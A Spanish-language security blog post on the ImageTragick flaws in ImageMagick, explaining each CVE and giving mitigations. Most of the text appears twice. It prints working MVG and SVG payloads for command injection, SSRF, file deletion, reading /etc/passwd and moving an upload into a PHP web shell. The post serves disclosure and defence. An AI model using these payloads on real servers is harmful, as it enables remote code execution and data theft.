ImageMagick es una famosa librería de código abierto para procesar imágenes, que soporta muchos lenguajes (Perl, C++, PHP, Python, Ruby) y que es utilizada en millones de sitios web, incluyendo blogs, foros y CMS como Drupal o WordPress.
Nikolay Ermishkin de Mail.Ru security team descubrió recientemente múltiples vulnerabilidades (CVE-2016-3714 a CVE-2016-3717) y las notificó a los desarrolladores de ImageMagick que intentaron corregirla en la versión 6.9.3-9 publicada el día 30 de abril. Sin embargo las correcciones no fueron tales y su explotación sigue siendo posible... y como veremos a continuación bastante trivial.
1. CVE-2016-3714 - Filtrado insuficiende de parámetros que permite la ejecución (remota) de código
ImageMagick permite procesar archivos con librerías externas. Esta característica se llama 'delegate' y se puede implementar simplemente añadiendo una cadena con el comando y los parámetros correspondientes en el fichero delegate.xml. Por ejemplo, un comando delegado para manejar peticiones HTTPS sería: "wget" -q -O "%o" "https:%M"
El problema es que no se filtran correctamente los parámetros %M y es posible inyectar comandos del sistema. En el ejemplo anterior basta con poner como parámetro "https://example.com"|ls "-la" e inmediatamente obtenemos un listado del path actual. Podéis comprobarlo rápidamente desde la línea de comandos con la utilidad convert:
convert 'https://example.com"|ls "-la' out.png
total 32
drwxr-xr-x 6 user group 204 Apr 29 23:08 .
drwxr-xr-x+ 232 user group 7888 Apr 30 10:37 ..
...
Para cerrar el círculo, como ImageMagick soporta formatos como svg y mvg que permiten a su vez incluir también ficheros externos 'delegados', cualquier servicio que procese las imágenes con ImageMagick y utilice por defecto delegates.xml/policy.xml es vulnerable.
exploit.mvg
$ convert exploit.mvg out.png
total 32
drwxr-xr-x 6 user group 204 Apr 29 23:08 .
drwxr-xr-x+ 232 user group 7888 Apr 30 10:37 ..
...
Como podéis imaginar si subís cualquiera de las imágenes de arriba a un servidor que utiliza ImageMagick para procesarlas se ejecutará igualmente el comando "ls -la".
Adicionalmente ImageMagick trata de identificar el tipo del archivo por su contenido, por lo que la explotación no depende de la extensión del archivo. Podríamos cambiar el nombre exploit.mvg a exploit.jpg o exploit.png y omitir las comprobaciones de tipo de archivo. Además 'identify', la herramienta propia de detección es también vulnerable, por lo que no puede ser usada como protección para filtrar archivos por su contenido y posibilita más vectores de ataque (por ejemplo, a través de "less exploit.jpg", porque identify' se llama a través de lesspipe.sh).
Los últimos paquetes de Ubuntu 14.04 y OS X (ImageMagick 6.9.3-7 Q16 x86_64 y ImageMagick 6.8.6-10 P16) y la últimas fuentes de las ramas 6 y 7 son vulnerables.
2. CVE-2016-3718 - SSRF (Server Side Request Forgery) para reenviar peticiones HTTP GET o FTP
ssrf.mvg
3. CVE-2016-3715 - borrado de archivos
En ImageMagick es posible borrar archivos mediante el tag 'ephemeral', por ejemplo 'convert ephemeral:logo.jpg logo.png'. Podemos aprovecharlo mediante:
delete_file.mvg
$ touch /tmp/delete.txt
$ convert delete_file.mvg out.png # borra /tmp/delete.txt
4. CVE-2016-3716 - mover archivos
Es posible mover los archivos de imágenes a otro archivo con cualquier extensión y en cualquier directorio usando el pseudo protocolo 'msl'. En el siguiente ejemplo msl.txt e image.gif deben existir en la misma localización- (/tmp):
file_move.mvg
/tmp/image.gif - imagen con un shell php shell dentro
(ver https://www.secgeek.net/POC/POC.gif)
$ convert file_move.mvg out.png # mueve /tmp/image.gif a /var/www/shell.php
5. CVE-2016-3717 - Lectura de ficheros locales (reportado de forma independiente por stewie - https://hackerone.com/stewie)
Es posible obtener el contenido de cualquier archivo del servidor mediante 'label':
file_read.mvg
$ convert file_read.mvg out.png # crea un archivo renderizando el texto de /etc/passwd
Cómo mitigar las vulnerabilidades
Como véis, tenemos vulnerabilidades todavía de día 0, que podrían permitir a un atacante acceder y modificar los ficheros del servidor, hacer peticiones GET HTTP o FTP (SSRF) e incluso ejecutar código remótamente, simplemente subiendo una imagen maliciosa a un servidor web.
Y cómo viene siendo costumbre últimamente para este tipo de vulnerabilidades, el exploit para CVE-2016-3714 ya ha sido bautizado con un nombre acorde con su impacto: ImageTragick, que incluso ya dispone de página web: https://imagetragick.com/
Evidentemente es capital mitigar estas vulnerabilidades lo antes posible y precisamente en la página anterior podréis encontrar las dos medidas recomendadas:
1. Comprobar que todos los archivos de imágenes comienzan con los esperados "bytes mágicos" que corresponden a los tipos de archivo de imagen dmitidos antes de enviarlos a ImageMagick para su procesamiento.
2. Utilizar un archivo de políticas para desactivar los codificadores de ImageMagick vulnerables. La política global de ImageMagick se encuentra normalmente en "/etc/ImageMagick". En el siguiente ejemplo se desactivaran los codificadores EPHEMERAL, URL, MVG, y MSL.
policy.xml
PoCs
Por último, ya están disponibles algunas PoCs para comprobar más fácilmente si un servidor es vulnerable (no seais malos!):
https://github.com/ImageTragick/PoCs
Nikolay Ermishkin de Mail.Ru security team descubrió recientemente múltiples vulnerabilidades (CVE-2016-3714 a CVE-2016-3717) y las notificó a los desarrolladores de ImageMagick que intentaron corregirla en la versión 6.9.3-9 publicada el día 30 de abril. Sin embargo las correcciones no fueron tales y su explotación sigue siendo posible... y como veremos a continuación bastante trivial.
1. CVE-2016-3714 - Filtrado insuficiende de parámetros que permite la ejecución (remota) de código
ImageMagick permite procesar archivos con librerías externas. Esta característica se llama 'delegate' y se puede implementar simplemente añadiendo una cadena con el comando y los parámetros correspondientes en el fichero delegate.xml. Por ejemplo, un comando delegado para manejar peticiones HTTPS sería: "wget" -q -O "%o" "https:%M"
El problema es que no se filtran correctamente los parámetros %M y es posible inyectar comandos del sistema. En el ejemplo anterior basta con poner como parámetro "https://example.com"|ls "-la" e inmediatamente obtenemos un listado del path actual. Podéis comprobarlo rápidamente desde la línea de comandos con la utilidad convert:
convert 'https://example.com"|ls "-la' out.png
total 32
drwxr-xr-x 6 user group 204 Apr 29 23:08 .
drwxr-xr-x+ 232 user group 7888 Apr 30 10:37 ..
...
Para cerrar el círculo, como ImageMagick soporta formatos como svg y mvg que permiten a su vez incluir también ficheros externos 'delegados', cualquier servicio que procese las imágenes con ImageMagick y utilice por defecto delegates.xml/policy.xml es vulnerable.
exploit.mvg
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|ls "-la)'
pop graphic-context
exploit.svg
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="640px" height="480px" version="1.1"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink=
"http://www.w3.org/1999/xlink">
<image xlink:href="https://example.com/image.jpg"|ls "-la"
x="0" y="0" height="640px" width="480px"/>
</svg>
$ convert exploit.mvg out.png
total 32
drwxr-xr-x 6 user group 204 Apr 29 23:08 .
drwxr-xr-x+ 232 user group 7888 Apr 30 10:37 ..
...
Como podéis imaginar si subís cualquiera de las imágenes de arriba a un servidor que utiliza ImageMagick para procesarlas se ejecutará igualmente el comando "ls -la".
Adicionalmente ImageMagick trata de identificar el tipo del archivo por su contenido, por lo que la explotación no depende de la extensión del archivo. Podríamos cambiar el nombre exploit.mvg a exploit.jpg o exploit.png y omitir las comprobaciones de tipo de archivo. Además 'identify', la herramienta propia de detección es también vulnerable, por lo que no puede ser usada como protección para filtrar archivos por su contenido y posibilita más vectores de ataque (por ejemplo, a través de "less exploit.jpg", porque identify' se llama a través de lesspipe.sh).
Los últimos paquetes de Ubuntu 14.04 y OS X (ImageMagick 6.9.3-7 Q16 x86_64 y ImageMagick 6.8.6-10 P16) y la últimas fuentes de las ramas 6 y 7 son vulnerables.
2. CVE-2016-3718 - SSRF (Server Side Request Forgery) para reenviar peticiones HTTP GET o FTP
ssrf.mvg
push graphic-context
viewbox 0 0 640 480
fill 'url(http://example.com/)'
pop graphic-context
$ convert ssrf.mvg out.png # lanza una petición http a example.com3. CVE-2016-3715 - borrado de archivos
En ImageMagick es posible borrar archivos mediante el tag 'ephemeral', por ejemplo 'convert ephemeral:logo.jpg logo.png'. Podemos aprovecharlo mediante:
delete_file.mvg
push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'ephemeral:/tmp/delete.txt'
popgraphic-context
$ touch /tmp/delete.txt
$ convert delete_file.mvg out.png # borra /tmp/delete.txt
4. CVE-2016-3716 - mover archivos
Es posible mover los archivos de imágenes a otro archivo con cualquier extensión y en cualquier directorio usando el pseudo protocolo 'msl'. En el siguiente ejemplo msl.txt e image.gif deben existir en la misma localización- (/tmp):
file_move.mvg
push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'msl:/tmp/msl.txt'
popgraphic-context
/tmp/msl.txt
<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="/tmp/image.gif" />
<write filename="/var/www/shell.php" />
</image>
/tmp/image.gif - imagen con un shell php shell dentro
(ver https://www.secgeek.net/POC/POC.gif)
$ convert file_move.mvg out.png # mueve /tmp/image.gif a /var/www/shell.php
5. CVE-2016-3717 - Lectura de ficheros locales (reportado de forma independiente por stewie - https://hackerone.com/stewie)
Es posible obtener el contenido de cualquier archivo del servidor mediante 'label':
file_read.mvg
push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'label:@...c/passwd'
pop graphic-context
$ convert file_read.mvg out.png # crea un archivo renderizando el texto de /etc/passwd
Cómo mitigar las vulnerabilidades
Como véis, tenemos vulnerabilidades todavía de día 0, que podrían permitir a un atacante acceder y modificar los ficheros del servidor, hacer peticiones GET HTTP o FTP (SSRF) e incluso ejecutar código remótamente, simplemente subiendo una imagen maliciosa a un servidor web.
Y cómo viene siendo costumbre últimamente para este tipo de vulnerabilidades, el exploit para CVE-2016-3714 ya ha sido bautizado con un nombre acorde con su impacto: ImageTragick, que incluso ya dispone de página web: https://imagetragick.com/
Evidentemente es capital mitigar estas vulnerabilidades lo antes posible y precisamente en la página anterior podréis encontrar las dos medidas recomendadas:
1. Comprobar que todos los archivos de imágenes comienzan con los esperados "bytes mágicos" que corresponden a los tipos de archivo de imagen dmitidos antes de enviarlos a ImageMagick para su procesamiento.
2. Utilizar un archivo de políticas para desactivar los codificadores de ImageMagick vulnerables. La política global de ImageMagick se encuentra normalmente en "/etc/ImageMagick". En el siguiente ejemplo se desactivaran los codificadores EPHEMERAL, URL, MVG, y MSL.
policy.xml
<policymap>
<policy domain="coder" rights="none" pattern="EPHEMERAL" />
<policy domain="coder" rights="none" pattern="URL" />
<policy domain="coder" rights="none" pattern="HTTPS" />
<policy domain="coder" rights="none" pattern="MVG" />
<policy domain="coder" rights="none" pattern="MSL" />
</policymap>
PoCs
Por último, ya están disponibles algunas PoCs para comprobar más fácilmente si un servidor es vulnerable (no seais malos!):
https://github.com/ImageTragick/PoCs
Actualización de las policy en la página de imagetragick.
ResponderEliminarHe hecho un copy paste en el comentario pero tiene un buen filtro..... X-DD (como era de esperar en esta página) y no aparece,,,, Podeis verlas en la página de imagetragick